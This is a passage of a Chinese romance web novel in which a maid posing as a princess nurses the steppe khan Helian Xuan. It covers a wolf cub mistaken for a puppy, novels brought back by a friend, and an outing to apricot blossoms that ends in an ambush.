穆凝姝坐下,椅子上搭着她那条帕子,湿得透彻。
她拿起来给赫连煊看,打趣道:“看来表妹公主泪珠子掉了不少,你又如何欺负她了?表哥。”
“表哥?”赫连煊微微挑下眉。
在他的表哥生涯里,每次听到这个称呼,免不得头疼。
现在听她叫,别有趣味。
她声音好听,不管叫他什么,都好听。
他道:“你再叫一句听听。”
穆凝姝以为他在介意,收敛住打趣,笑道:“不要。我错了。”又不补上句吹捧,“还是大单于更好听。威武霸气。”
在找补一事上,她干得相当纯熟。
见他伤处还未包扎棉纱,穆凝姝道:“我走时就这样,怎么一下午了还没包?”
赫连煊道:“你自己事情没做完,还好意思说。”
穆凝姝帮他重新上次药膏,细细裹上棉纱,道:“这个很简单,玛茹也能做,我以为她会帮你。”
赫连煊道:“她确有此意。玛茹说你连日照顾孤太辛苦,想替你。你觉得如何?”
她包扎的动作稍滞,好一会儿,没回话。
包扎完毕,她收拾东西,才缓缓道:“谁做都一样吧。玛茹对你真心诚意,定会照顾得很细致。我自是没有意见。”
道理该是这样,她的回答也挑不出错。心里却有点不舒服。
她觉得自己今日有些奇怪。
方才让阿香先行通传,扪心自问,除了担心自己和侍女们贸然闯入受罚,也有不想面对的因素在。
万一,赫连煊和玛茹当真发生点什么。至少,她不会亲眼看到。
这种不舒服让她感到陌生。从来没有过,暂时想不出合理的解释。
但她有颗好探究的心,不把事情琢磨明白,容易睡不着。
非要对此有个解释的话……夺人钱财如杀人父母,玛茹明着抢饭碗,任谁都不高兴,换作乌琪,必得狠狠打一架。
对比而言,她这点儿情绪,已算轻微。
赫连煊道:“公主倒是大度。不过,孤有意见。玛茹小时候连王八都能养死,孤还想多活几年。所以,你别想偷懒。”
穆凝姝看向他,眼睛亮晶晶,“你回绝了她?”
赫连煊活动下受伤的手臂,“废话。孤说过,她很麻烦。不用多想就知醉翁之意不在酒,既是如此,处理起来必须利落。公主以为谁像你这般心思单纯?”
心思单纯。
这四个字,穆凝姝不敢当。
玛茹刚来走来时,脚还微微起落,上回的伤还没好齐全。
她顿感心虚,低头瞎忙收拾东西。
要是被赫连煊知道她算计玛茹,就死定了。
她没话找话讲:“呃,不过呢,玛茹毕竟跟你是血缘兄妹。做事或许不够细致,但对你的感情还是挺深的。毕竟喜欢你嘛。喜欢一个人,总是没错的。”
他却反问:“总是没错吗?”
穆凝姝只是随口闲话,没多想,他这般挑出来问,她不知道该怎么回答。她说是嫁了三次人,次次都是政治姻缘,在男女感情这块儿,她其实不太懂,也从没深想过。
她犹豫道:“应该……没错吧?”
喜欢一个人,至少不会伤害他。
赫连煊似乎回想起什么,道:“玛茹从小喜欢孤,孤无法回应这份感情,她却不肯作罢。本来是活泼的性子,一碰上孤的事,就哭哭啼啼,痛苦哀怨,让孤在厌烦之余,又觉亏欠。他们家于孤有恩,如果她想要其他东西,孤都会竭力满足她。偏偏她都不要。这样的喜欢,你也觉得没错?”
他平日里满心扑在事业上,不管多大的事,往往胸有沟壑,云淡风轻。此事说及玛茹,却一直眉头微蹙,恐怕十几年来,被玛茹的喜欢烦得不轻。
若是旁人,他断然不会如此客气,再或者直接躲开了事。无奈玛茹是他表妹,舅舅舅母还曾照顾过他,确实难应对些。
穆凝姝半懂不懂,道:“听你这么说,或许,也是吧。呃,其实我也不太明白。反正如今你是大单于,没人能逼你。你按照自己的心意就好。”
他笑了下,看着她,“是。”按照自己心意就好。
侍女们布好菜,请二人入席。
穆凝姝看过菜色,问道:“怎么又没有鱼呢?好多天没吃到。”
侍女道:“这些菜都有利于养伤。御医说大单于暂时不宜吃鱼。”
穆凝姝道:“可是我想吃,我一个人就能吃一条。你让厨房做一条送来。”
侍女应下离去。
穆凝姝给赫连煊备好菜,自顾自吃起来。
她吃饭快而不乱,不管吃什么都看上去特别香。
见赫连煊唇角带着点笑,她吞完口中食物,揣测解释道:“我骑了一下午马,所以特别饿,平时我饭量不大。”
他淡淡道:“公主平时也挺能吃。昨天一顿吃了三碗饭。”
穆凝姝狡辩:“那是因为碗小……再说,我天天照顾你,很累的,吃多一点怎么了。人还不能有点爱好吗……我又不胖——”
她沉默会儿,最近衣裳似乎略紧,仿佛是胖了些。
她改口道:“天气冷,长胖点贴秋膘,对身体好。”
赫连煊:“贴秋膘?如今开春了。公主。”
穆凝姝:“……”
她又不喜欢珠宝首饰,吃饭这个爱好,多么朴素。
玛茹喜欢他,他有意见。
她喜欢吃饭,他还能有意见。
真难伺候。
她哼一声,“不吃了。”
谁还没点脾气呢。
任何一个姑娘都不喜欢被人说胖。赫连煊这张嘴,要不是生来一张好脸,又有家底,根本不会有姑娘喜欢他。
……她到底在骂他还是夸他?
赫连煊颔首道:“行。那公主且饿着。争取下‘楚腰纤细掌中轻’。”
这句诗穆凝姝听得懂。
因与后妃有关,和亲前的紧急培训里,嬷嬷讲过,美人要纤瘦柔弱,尤其是腰肢,似弱柳扶风,才最惹君主怜爱。
奈何嬷嬷教授的知识,是以姜帝喜好为准,来塞外后,水土不服,全是白学。
草原皇帝们喜欢丰满性感的。
包括赫连煊。他先前还嫌弃她瘦。现在她好不容易长了点儿肉,他改吟诗作赋楚腰纤了。
穆凝姝逆反心理激起,拿起筷子吃得香喷喷,道:“我才不要掌中轻,我要长成个大胖子,下次给你换药,拿体重压断你的腿。”
哼,管他喜欢什么。
她吃得开心,猛然记起自己的身份。
公主生来锦衣玉食,什么好吃的都见过,恐怕不会像她这样好胃口。
戏里演的娇小姐们,遇上点儿事就吃不下饭,若邂逅个书生,害上相思病,甚至能惆怅得活活饿死。
她连小姐们都比不上,遑论更高级的公主。
穆凝姝开始瞎编,替自己圆一圆人设:“本来嘛,我们姜国公主都是纤细身材,我为了迎合你的审美,辛辛苦苦吃胖,你却不领情。人的审美应该持之以恒,作为君王,你说变就变,后宫都来不及增减,这很没有责任心。”
赫连煊倒是不知,他的审美竟对后宫有重大影响。他时常不记得自己还拥有后宫这码事。
但眼前这个,肯定在胡说。
她只是单纯喜欢吃东西罢了。
尤其喜好甜食。
“那,有劳公主费心。”他不拆穿,倒杯茶,看她吃吃喝喝,胡说八道。
她刚同他一起用膳时,时时刻刻注意礼节,远不如现在生动。
侍女很快送来饭盒。
一盘是鱼,另外还有一盘圆圆的东西,穆凝姝没见过。
侍女介绍道:“这是烤羊腰,凉了不好吃,所以等进餐中途再现做。”
穆凝姝拿过来,放到赫连煊面前,道:“我想起来,御医是说过,多吃点内脏有助于伤口恢复。来,趁热。”
他瞥一眼,道:“孤不吃。”
在照顾弱小上,穆凝姝颇具责任感,道:“单于,为了养身体,得听御医的劝谏啊,病人不宜挑食。这个闻着挺香的。”
赫连煊仍然拒绝。
他不吃,是为了她好。
这东西生躁,她定是不知道才这般乱劝。
穆凝姝没吃过烤羊腰,什么都想尝个咸淡。既然赫连煊不吃,她吃掉算了,别浪费。
一口下去,腥味直冲天灵盖。
她捂住嘴跑出去,吐了好一会儿才回来,满脸痛苦,“又腥又……说不出的味儿。难吃死了。怪不得你不吃。”
她抱来小可爱,喂给它。小可爱倒是吃得开心,惹得她连连夸赞。
赫连煊指尖轻扣桌面,待她喂得差不多,忽然叹气。
她闻声抬眼,发现他面前饭菜几乎没动,道:“你怎么不吃?”
赫连煊道:“伤口痛。”
穆凝姝疑惑:“可是你的伤不是在左侧吗?我看你批折子批得挺顺溜。”
赫连煊缓缓眨下眼,道:“都是强撑罢了。动的时候会拉扯到伤处。况且身体缺血,四肢随之乏力。也不是什么大事。”
“既是如此,你该告诉我,逞什么强。”
她坐到他旁边凳子上,拿起碗筷喂他,又想到他打小的经历。
那种环境下,活着已属艰辛,伤痛病情,即使赫连煊说了,恐怕也没人理会。耶律槿倒是想照顾他,却有心无力。
时间久了,他可不得习惯性逞强。
他今天肯跟她说……简直是猛兽撒娇嘛。
嗨呀,小猫小狗撒娇她都扛不住,何况是钢铁大单于难得的示弱。
反差感萌得她心软软。
她风寒时,他待她颇为宽厚,如今轮到他遭难,出于道义,她也该好好照顾。
札木尔进来时,看到这一幕,心中波涛翻涌,不可置信:“单于,您居然需要人喂饭。伤得这么重吗?”
前所未有的情况。
以往,赫连煊伤得再重,都不会大喇喇显露于人前。
“不过,您伤的……确实在左边吧?”札木尔发出跟穆凝姝同样的问题,但比她更疑惑。
因为,即使赫连煊伤到右臂,也没影响。
旁人不清楚,札木尔却知晓,赫连煊是双利手,甚至他左手更灵活,只是为了藏锋才多用右手。有次他右手受伤,兵器掉落,他瞬改左手持刀,杀了对方个出其不意。
拿刀砍人不在话下,却不能自己吃个饭?
这也太假了。
不等赫连煊开口,穆凝姝先替他解释,贴心道:“单于试过了,会扯到伤口,很痛的。要不是我发现,他还是会自己逞强吃。札木尔,虽然单于很坚强,不会主动要求,但你以后得注意观察呀。”
给人当差,察言观色最重要。
没想到有一天,也能轮到她指点后生。
啊,穆凝姝,你果真成长飞速。我为你骄傲。
札木尔嘴角抖了抖,“……好。”
听懂了,单于不仅骗她,还是颇为高明的引导式诱骗。
待穆凝姝出去后,逞强本强轻松躺在摇椅上,左手拿起桌上奶贝,朝小可爱鼻尖扔。
左手许久没动,须得锻炼锻炼。
一扔一个准。
札木尔跟他汇报完今日政务,末了,忍不住问:“单于,你这么骗凝姝阏氏,良心不会痛吗?她若知道真相,肯定会生气。”
赫连煊面无愧色,淡淡道:“孤不可能让她知道。”
夜半更深,帐中忽有狼嚎。
赫连煊瞬间警醒,拔出枕下刀,挡到穆凝姝身前。
她对狼嚎不敏感,倒被他的大动静弄醒。睡眼惺忪间,只见他手执利刃,背脊笔直,气势磅礴。
等等,他这个刀,她好奇拿起来掂量过。
至少十来斤。
他拿得稳稳当当,没有丝毫颤动。
第24章 第 24 章 24春色
狼嚎突然停下。
毡帐宽阔, 屏风层层叠叠,赫连煊凝神屏息,细细听辨方向狼的方位。
穆凝姝裹住小被子待在榻上,默默盯他背影。不得不说, 大单于属于己方时, 自带的那份肃杀压迫感, 瞬间变作安全感。
狼嚎又起, 在沐浴间方向。
赫连煊正要一刀劈过去,穆凝姝突然发现怀里揣着的小可爱不见了,大喊一声,“刀下留人——不,留狗!”
她冲过去, 果然, 小可爱仰着个脖子拼命嚎。
破案了,小可爱是狼。
先前月份太小,它跟狗崽子长得没差。平时除了偶尔嘤嘤两声,它从来不叫唤,穆凝姝一度怀疑它是个哑巴狗,不料竟是只心机小狼,成功萌混过关。
晚膳那会儿,小可爱吃掉一大盘烤羊腰子, 烧得慌,才半夜嚎叫,暴露身份。
穆凝姝喂小可爱喝点水, 压在床上一阵狂撸肚皮:“好家伙,小小年纪,骗术如此高超, 看我撸秃你。”
她看向赫连煊,故意问道:“单于,你的伤,没事啊?”
这儿还有个大骗子。
明摆着白天那会儿在骗她玩儿,看她跟个傻子似的忙前忙后。他自从开始养病,养出拿她逗乐的恶趣味。
赫连煊看出她眼中的揶揄和气愤,面色未改,只淡淡道:“还好。”
说话时,胸肌发下力,伤口顿时崩裂。
雪白棉纱很快沁得殷红。
穆凝姝愣住,“你、你流血了。”
“是吗?”赫连煊依旧平淡,“没多大事。”
“这还没多大事?”穆凝姝惊呆,你敢不敢低头看一眼再说,血都流到腹肌了啊大哥。
她把小可爱扔到床上,爬起来,拿过赫连煊手里的刀。
哐当落地,果然很重。
因刀柄位置缘故,她单手压根拿不动,干脆就地放倒,扶着赫连煊去床榻坐下,匆忙取来药膏和棉纱处理伤口。
拆开一看,情况糟糕。
缝线崩开了一小段,皮开肉绽。
穆凝姝:“这得补缝。我让侍女去请御医。”
赫连煊拉住她,困倦道:“孤要睡觉,明日再说。”
圆谎的小小代价罢了。这种程度的痛,不算什么。
她生气又心疼,把他按在床上躺好,“你这人怎么非要逞强呢,都这样了还没事人一样。别动,等我回来。”
御医来后,一阵忙碌,一个时辰后才收工。
穆凝姝细细替赫连煊包好伤处,想起方才自己对他的怀疑,满心惭愧。
这么条爱逞强能忍痛的硬汉,若非难受得厉害,怎么可能让自己为他吃饭。
况且大单于日理万机,脑子里全是国家大事,压根不可能这么无聊。
她居然揣测他是装可怜戏弄自己。
刚才二次受伤,算来还是她的责任。是她将小可爱留在帐中睡觉,他持刀也是为保护她。
这个算不算得上英雄救美呢?
她眼神瞟向在床上翻滚的威萌小可爱……虽说敌方力量略显寒碜,但当时他们并不知道,还以为是挖洞偷进的野狼。
就性质来说,必须算。
说来,赫连煊不止一次救过她,他刚回来那会儿,赫连涛的马受惊乱撞,也是他救了她。
她手中动作越发轻柔。
赫连煊伸手捏住小可爱的后颈肉,悬空摇晃几下,道:“既然知道是狼崽子,公主打算如何?”
穆凝姝一把抱回来,溺爱之心死不悔改,“狗也是从狼驯化而来……它还小,今天是意外。”
赫连煊:“不行。野性难驯。”
她抿唇片刻,伸出双手,轻轻拉住他手腕摇晃,夹着嗓子说话:“初春乍暖还寒,它太小,身子弱,就再留帐中一个月吧,时间一到我就送去牧场,好不好呀?”
赫连煊:“……”
穆凝姝把声音再提高个度,轻捏他手指,柔声道:“好不好嘛~~~~大单于~~~~”
他叹了口气,身子有伤不能动,头执拗地转向里侧不看她,良久,道:“管好它的嘴。再敢打扰孤睡觉,就把你俩都扔出去。”
穆凝姝:“……”
成功来得也太容易了!
撒娇这么好用吗?
* * *
赫连煊不肯吃烤羊腰,但养伤需要多吃动物内脏。
草原料理内脏简单粗暴,全是给点儿佐料烤一烤了事。
穆凝姝便想着用中原的法子做菜试试。她让人取来新鲜猪肝,以葱蒜姜末腌制去腥,再切丝滚水,配以蔬菜,做成汤。
赫连煊颇为受用。
大大满足了她的投喂欲。
有种挑战饲养挑食宠物成功的快乐。
她轮番做些其他中原菜式,每日让他吃一道。
乌琪知晓后,来帮忙打下手,上回风寒重,她许久没见好转,这次看脸色,已无大碍。
穆凝姝想起失败的春月节计划,问乌琪之后有何打算。
乌琪笑道:“我这脑子,哪里能想出什么好计划。现在大单于有伤在身,即使见上面,也没什么用吧。等他伤好了再说,我不着急。”
这段时间她整天吃吃喝喝,享受宠妃好姐妹提供的鸡犬升天待遇,压根记不起来这事。
倒是对于玩儿的事,乌琪更上心,道:“你下午有空的话,咱们一起骑马去吧。听侍女说,杏花沟那片的杏花全开了,特别美。我们去瞧瞧,一直养病,我好久没出门。”
穆凝姝应下,待午膳后,跟乌琪一起策马赏花,踏春吃点心,玩到日暮时分,才回毡帐。
夕阳斜照中,赫连煊如常批阅着奏折。
眉目间透出股认真。
气定神闲,仿若世间万事,皆运筹帷幄之中。
杏花开得极好,她折了几支抱在怀中带回来。
他囿于朝政,不见春色。
风吹过,花瓣飘落到地毯上。
赫连煊抬眸看去。
粉白烟云后,她眸色清亮,粉面桃腮,容色更胜花色。
他道:“既是来了,何不出声?”
穆凝姝走过去,有理有据:“见大单于忙于政务,不敢打扰。”
她才不会承认,一时之间,沉迷于单于美色不可自拔。
赫连煊:“倒是没看出公主这般客气。”
近来她胆子越来越大,早前那份谨慎小心,消散得七七八八。
“定是单于贵人事忙,没注意细节。本公主向来懂礼数。”她将杏花插在桌上的空花瓶中,“杏花开得极好,但起风了,明日估计只剩残花。单于,你先前答应带我骑马看杏花,看来做不到了。”
起初教她骑马时,他的确说过这话。
赫连煊拂去她发间的花瓣,指尖顺着乌发滑落,“天暖后,会有金莲花和芍药,杏花明年依旧会开,急什么。”
“是,不着急。”她笑了笑,柔声问道,“你明天想吃什么?我告诉厨房备着。”
赫连煊随意说了道她做过的菜。
行军打仗,餐风露宿是寻常,他自小日子又过得粗砺,身子恢复能力强悍,其实用不着如此精心照顾。
但在她眼中,仿佛他和小可爱那些动物一样脆弱。她不再畏惧,反倒生出怜惜。
也行。
他不介意当个脆弱的英雄。
穆凝姝望向自己发间的手指,感觉微妙。
他很喜欢摸她的头发。
这个动作挺玄妙。
既让人感觉关系亲近,却又不像触碰肌肤那般过分狎昵。
他动作很轻,像摸小动物,给她一种他天生温柔的错觉,如果她没见过他杀人。
赫连煊:“你很会照顾人,公主。做饭做得不错,包扎手艺也挺好。”
不知是单纯夸她,还是另有深意。
据她观察,他鲜少夸人,拿话语给人下圈套倒是数不胜数。
穆凝姝想了想,道:“一般般啦,大部分公主不太会这些。我喜欢厨艺。对动物们,也挺热爱。包扎技术……在动物和人身上都差不多。”
赫连煊:“还有什么爱好?”
穆凝姝答道:“刺绣。偶尔写写字。”
也就这俩跟高雅沾点儿边。
其实她真正的爱好是睡觉和看话本子,但这俩太不公主了。
赫连煊:“孤看玛茹那些女孩儿,大多喜欢珠宝首饰,跳舞唱歌,到处游玩。公主的爱好,倒是挺实用。”
穆凝姝打个哈哈:“大家文化不同,难免有差别。我们姜国女子,最讲究贤惠。做饭缝衣,都是必备素养,若是不会,嫁去夫家后,就当不成一个好妻子。公主金枝玉叶,虽无此忧虑,但身为天下女子表率,自然得学。呃,其实我也就以前感兴趣,现在不怎么喜欢了。”
她给自己的谋生技能找出合适理由。
不知她哪句话取悦到赫连煊,他唇角勾起,道:“不喜欢就不做。你的夫家多得是钱和仆从,用不着妻子亲自操劳。”
* * *
年轻小宫女们凑在一块儿,不管以什么开启闲聊,十句以内,话题必定绕到,等出宫后,想找个什么样的男子当夫婿。
虽同在宫中,奴婢和贵人们却活在两个世界。莫说达官显贵,哪怕是太医院的小学徒,人家是官籍,不爱搭理她们这些低等奴籍。
十三四岁的穆凝姝,熟悉些的文化人,除了路边写春联的落魄童生,便只有曾为书生,但因家贫而卖身为奴的太监。
而她对家境殷实的认识,则是够吃饱的米粮,烧不完的柴火。
再往上的人家,她高攀不上。
她希望未来夫君,正直,善良,勤勉;
能识得几个字,会算算数;
脾气别太坏,她做错事时,不要打骂她;
穷些没关系,反正她也穷,夫妻俩可以一起挣钱,当然啦,若有点儿积蓄,能吃饱穿暖更好。
赫连煊这样的人,远远超过她的一切认知,是连做梦都无法梦到的存在。
他能力自不用说,诗句还念得极好听。对半路收继来的她,温和善待。她列出的条条框框,在他面前,如同小孩儿过家家。
他比她能想象出的最好,还要好。
她仰脸望向他,心中升起股隐秘的欢欣。
这样一个人,是她夫君。
或许赫连煊随口说出的夫家和妻子,跟她认知里不是一回事,她仍旧开心。
以前,她只被说做活儿做得不够快、不够好,他却说不喜欢就不用做。他是君主,这对于他不算什么,她却是第一次听到。
穆凝姝低头整理杏花枝条,隐匿笑意,双手洁白如玉,经年累月的冻疮痕迹,已然消失无踪。
她得谨记公主身份,公主嘛,要求自是不同于平民。这么一句话,可哄不到皇家金枝。
她再度抬头,眸光亮亮,道:“本公主向来仗义,既然答应照顾你,你养伤期间,我做做饭也没什么。不过,作为回报,等你得空时,要带我去远点儿的地方游玩一次,好不好呀?”
语调中,带上不自觉的撒娇。
说完后她才意识到。
没办法,赫连煊着实太吃这套,太好哄。
毛病都是惯出来的。
* * *
穆凝姝说是照顾赫连煊,实则大部分时间,他都在处理政事,又有侍女和札木尔随时待命,无需她做什么。
她每天仅仅做一个菜意思意思,真究起来,倒是他的帝王特供病号餐太好吃,大半进了她的五脏庙。
这回不等赫连煊调侃她贴春膘,她自己先受不住。
他赏赐的布料多得用不完,节气虽尚在早春,衣裳却已做到了夏天。
王族御用的绣娘们个个心灵手巧,衣裳从颜色到款式,全是她的心头好。
她舍不得辜负这些漂亮衣裙,每天都骑马去草原上跑一跑,练练马术,减减春膘。
除却衣物,首饰也多。
从前她对珠宝玉石不感兴趣,纯粹是人穷志短时的自我安慰。
这些亮晶晶的小玩意儿,明明很招人喜欢。
如今她要多少有多少,挖掘出打造时兴首饰的新爱好。
好东西,不可吃独食。
穆凝姝和乌琪常去牧场照顾动物,便挑出些最好的首饰和衣裙,带给乌琪。
乌琪自是喜欢,却觉她过分割爱,推辞道:“你挑的这些,一看就极为贵重难得,你该自己留用。每次你得了赏赐,都不忘给我。我哪里用得完这么许多。”
穆凝姝态度直接:“苟富贵,勿相忘。你我之间,不必推来让去,让你拿就拿。”
乌琪抱住她猛亲一口,开心盘弄首饰。
她却觉对不住乌琪。
赫连煊伤势恢复情况很好,不久后,乌琪便能前去侍奉。
大好事。
但每每念此,她心底竟会莫名生出点酸涩来,令她极为陌生和震惊。
她从未有过此类情绪。
在穆凝姝对自己的认知里,她虽称不上高风亮节,但也该归类于还算大度。
在姜国时,宫女小姐妹们请教她刺绣技法,她悉心教授。有了抽水更少的卖绣品渠道,她也不藏着掖着,让大家有钱一起赚。
用孙嬷嬷的话来说,她五行缺心眼。
聪明人应该靠刺绣绝技去求娘娘们青睐,一旦让娘娘看上,便有机会去各宫里当差,脱离底层。至于低抽水渠道,她应该死死瞒住,当中间商赚差价。
她不以为意。
或许是天生迟钝,对得失不太在意,或许是孙嬷嬷说的缺心眼,反正她对这些无所谓。大家都是苦出身,天天受管事们压榨够累了,何必再耍心眼互害。
而乌琪,是她最好的朋友之一。
艰难时相互投喂,同盖一床被褥过冬的患难之交。
她居然能有酸涩心绪。
不理解,但讨厌。
穆凝姝的手落在乌琪肩上,认真道:“乌琪,等赫连煊伤好了,我一定再给你想个周全法子,帮你获宠。”
“突然这么郑重干嘛。”乌琪吓一跳,注意力又转到首饰上,美滋滋,“嗨,行吧。其实你也不用太放在心上——”
穆凝姝态度坚定:“必须放在心上。”
乌琪:“……好。”佛戏小姐妹这突如其来的气势是怎么回事。
“两位美丽的姑娘,好久不见——”
一道修长人影倚在门框中。
长相斯文,乍一看像姜国人,仔细看又有敕加人特征。
穆凝姝和乌琪闻声,朝门口看去,惊喜道:“佗佗,你回来啦!”
那人朝二人走来,热情张开双臂:“这趟累死人,回来不容易。可想死你们了。来,给哥抱一个!”
乌琪挡住他,笑道:“那可不成。凝姝如今可是宠妃,你找死呢。我也不跟你抱,我是未来的宠妃。”
他哈哈一笑,放下背后行囊,道:“听说了,在下恭贺二位苦尽甘来。我一回赫连部,连家都没回就给你们送礼物来了。真吓人,我才短短半年没回,竟连王位都换了人坐。幸亏还是我赫连氏中人,论辈分……哎呀,赫连煊同我辈分怎么算,我得回家查查族谱去。”
此位不着调仁兄,是穆凝姝“最好的朋友”的另一个之一。
出身自赫连氏旁支,其母亲是在边境买卖药材的姜国商人,姓张,意外嫁给他父亲为妾。张氏崇拜建安三神医,给儿子取了个汉名张奉景,意为张仲景和董奉,小字则来自华佗,三位一个不漏。
张奉景在父族中不得宠,便干脆一直用母姓名字。他离家多年,好在医术不错,在赫连王庭里谋了份差事。
穆凝姝来自异族,张奉景混血不受待见,乌琪纯纯敕加人,可惜是个二愣子。
三人认识后,惺惺相惜,属于废物疙瘩抱团取暖。
塞外和中原的医学界大佬们,格局极大,号召救死扶伤不分国界,每隔五年会在边境处召开医学一家亲交流会,此次张奉景出门,便是参加此盛会,顺道给两位好友带了些特产——姜国话本子。
三人全是此中同好。
穆凝姝和乌琪不能随意出门,结识张奉景后才得此好东西。敕加文化粗犷,话本子不算流行。姜国话本子兴盛,却是外国货,难弄来,两人手中的旧本子都翻烂了。
张奉景拿出一大摞话本子,一本一本展示:“《贵妃娇宠录》、《纯情太后俏情夫》、《公主风流记》、《姜国后宫传》……全是姜国时下最畅销的。啊,乌琪,你不懂汉文,我特意全用敕加文转写了一份给你。省得你总缠着我俩读给你听。”
乌琪:“呜呜呜,佗佗你最好啦!我好感动!”
穆凝姝:“……你确定你是去交流医术的?”
张奉景肯定道:“嗯,这就是学术。大佬们一讲就是三个时辰,不找点事做很容易睡着,多不礼貌啊。我这趟还被表扬听课认真呢。”
穆凝姝分析:“因为他们看书看太多,都瞎了吗?”
张奉景解惑:“他们以为我全程在做笔记。”
穆凝姝:“……果然够瞎。”
乌琪对学术毫无兴趣,挑花眼道:“这么多本子,从哪个看起?”
穆凝姝经验老道,自信一笑,拿起几本随意翻翻,道:“简单。我有特殊的挑书经验。比如这本《贵妃娇宠录》,作者居然叫许花花,这名字一看就没文化。再看这本《姜国后宫传》,作者笔名形美、声美、有深意,故事背景还定在姜国,真实感强,格调极高。必定得从后者入手。”
乌琪和张奉景异口同声:“哇,不愧是纯正姜国人,有道理!”
穆凝姝想起春月节时,赫连煊念诗,问张奉景是否有诗词歌赋方面的书。
张奉景道:“当然没有。我对那些没兴趣。”
他虽生来是半个姜国人,长相在一众敕加人中清秀有加,却毫无诗人内涵,平日里除开医书,只爱话本子。
跟一般男子喜好江湖传奇不同,张奉景偏爱看痴男怨女谈情说爱,看入迷比谁都能哭,此特点为三人姐妹团打下坚实基础。
穆凝姝托他:“下回你再出去,给我买几本诗词回来。”
张奉景应下,收拾包裹,翻出最底层的一本书来,道:“啊,这儿还有一本。不过是敕加人写的书。”
两人凑过去看——《敕加春夜猛猛嚎》。
穆凝姝抿唇。
是她多想吗?
忍不住发出一个疑惑:“……你这个书,它正经吗?”
张奉景道:“这个是一敕加同行带来的,席间无聊,跟我探讨一二,他说这书毫无医学常识,拿来奇文共欣赏,一起批判批判。没想到落到我这儿了。第一页搂搂抱抱,第二页卿卿我我,第三页必定嘿咻嘿咻。敕加人写的书,都这鬼样儿。嗨呀,没意思。”
穆凝姝点头认同,深沉道:“是挺没意思。不过难得有敕加文学,我也想批判批判……了解下敕加民间文化,很有必要。”
乌琪双手攥起小拳头,肃穆道:“嗯嗯,我也想看——哦不,我也要批判它,看看是什么小破烂。凝姝,你看完后给我看。”
张奉景:“没想到你们都这么热爱敕加文化。那等你们都看完了,咱仨再聚起来,开个读书会,一起批判吧。”
穆凝姝:“……”
* * *
入夜洗漱后,穆凝姝舒舒服服靠在枕头上,批判敕加特色文学,边看边皱眉。
不愧是战斗民族,写的书每一页都充满了战斗。因为文字留出的幻想空间大,她甚至觉得,比侍寝那会儿学习的春宫图还刺激。
民间流行文化很能反映普遍性偏好,赫连煊一纯血敕加人,从小生长在这等狂野氛围中……难怪他不碰她。
跟书里这些比,她连清汤寡水都算不上。
继续批判。
佗佗提到的的医学常识问题,她在此领域全然空白,一点儿都看不出来错处,就觉着书里这些男男女女个个铜皮铁骨,若换作她这般折腾,骨架子都得散。
敕加族人着实热烈,男男女女只要看对眼,话不多说,直切主题。无论男女主身份设定是什么,后续全是从草丛玩到桌椅板凳,流程大差不大,情节翻来覆去就那几个。
诚如佗佗所言,多看上一会儿便觉腻味,没意思。
熟悉的松枝清香,忽然拢住她。
第25章 第 25 章 25娇怯
赫连煊:“你在看什么?”
批判得正入神, 穆凝姝没注意赫连煊动向。
他突然冒出来,坐到她身旁,吓得她浑身一激灵。
赫连煊朝她怀中看。
她整个人扑到书上,以一个极其怪异的姿势, 警觉道:“没什么好看的。是菜谱, 秘制菜谱。”
这内容要是被他看到……不如让她去死一死。
赫连煊扣住她的肩, 道:“孤又不会呛你行。正好看看, 明天吃什么。”
穆凝姝扭来扭去摆脱他,死死挡住书,道:“我是厨子,明天吃什么我说了算。”
赫连煊挑眉,“厨子好大的脾气。”难得一见, 她那么好说话的人。
穆凝姝:“这是厨子的尊严。再说, 君子远庖厨,你是君王,更应该离得特特特别远。”
赫连煊不勉强,他对菜谱没兴趣,道:“有个地方的杏花林,上回没受风雨影响,开得很好。明日孤带你去看看,就是地方偏远些。”
穆凝姝一听就来了兴趣, 笑道:“远点儿好啊,这段时间我骑马把王庭附近转腻了。大单于一言为定。”
她抱着书,跑到自己的衣柜, 塞进最里头藏着。
养伤这段时日,穆凝姝几乎没怎么回自己毡帐。赫连煊让人专门给她打了几个衣柜,现在一看, 她衣裳竟比他还多。
难得游玩踏青,她兴致勃勃挑选明日的衣裳,对镜比来比去。
赫连煊静默看着。
“这套怎么样。”见他盯着自己,她偶尔问一句以示尊重。
“还不错。”他道。
问过几次后,每一套的答案都是还不错,穆凝姝懒得再问他。
人家不在意,问也白问。
大概在看着她想军政大事。
他经常这么看着她,就像……她想了想,嗯,就像她看小可爱和小马驹,翻来滚去,非常解压。
不太对……请拿她当人谢谢。
这点小事影响不到她的好心情,有穿不完的漂亮衣服,她足够开心。
他爱看随便看。
赫连煊确实觉得,都不错。
她生得漂亮,冰肌玉骨,穿什么都好看。
他更多地在看她这个人,衣裳之类,不重要。
穆凝姝最终选出身浅蓝衣裙,搁在衣架上。
杏花粉白,这个颜色在花树间显得明丽。
她拿来药膏,不计前嫌给他上药。
世间哪有她这么可爱,还会给人上药的狼崽和马驹?
他真是不懂欣赏。
赫连煊躺在床上,她坐着调匀药膏。
起初她上药,坐得板正,但赫连煊对待她,总是淡淡的,偶尔逗弄下。
像对待一只猫。
她凑近时,他顺手撸一撸。更多的时候,即使身处一间房,她和他各做各的事。
时间一长,她发觉跟他讲究男女之别,毫无必要,便怎么舒服省力怎么来。今晚批判过敕加特色文化,她越发自在惬意。
……绕来绕去,反正仍旧不是人。
也行吧,上药猫猫。
待药膏调好,穆凝姝懒懒散散趴在他身旁,单手撑头,另一手指尖抹上药膏,轻轻从他伤痕上涂过。
伤口早已拆线,没有化脓没有增生,恢复得很好。
涂完这种药,她又拿出一瓶给乌琪用过的同款祛疤膏,道:“来,再拿祛疤膏保养下,疤痕会变淡,不仔细瞧就看不出。”
赫连煊拒绝:“不要。孤不是女子,用不着。”
他侧过身体面壁,不给她机会。每天被她这样上药,简直是受刑。她倒是自在,无知无觉,还要来第二遭。
穆凝姝深深惋惜。
他面相精致,内里仍是个草原糙汉。
多么美好的身躯,不懂珍惜。
* * *
骑马免不得拉动伤口,此次出游选用马车。游玩队伍浩大,侍从们各种物件备得齐全,陪侍左右。
马车轻微摇晃,路途稍远,穆凝姝晃得困乏。
好在车内宽阔奢华,设有小榻。赫连煊拿着本兵书看,她枕在他腿上小憩。
在王帐中,她有时亦会如此。
躺在他腿上,他会不自觉摸她头发,轻轻缓缓。
难怪小可爱喜欢被她撸,确实上瘾。
车驾至杏花林,遥望粉白无尽,繁盛如云。
侍女们铺毯放桌,摆上水果点心,生起小火炉煮茶热酒。
赫连煊先下马车,朝穆凝姝伸手,她刚搭上,忽然被他一把推进马车里。
下一秒,面前帘幕被人一刀劈为两半。
她反应极快,连忙往马车深处滚去。
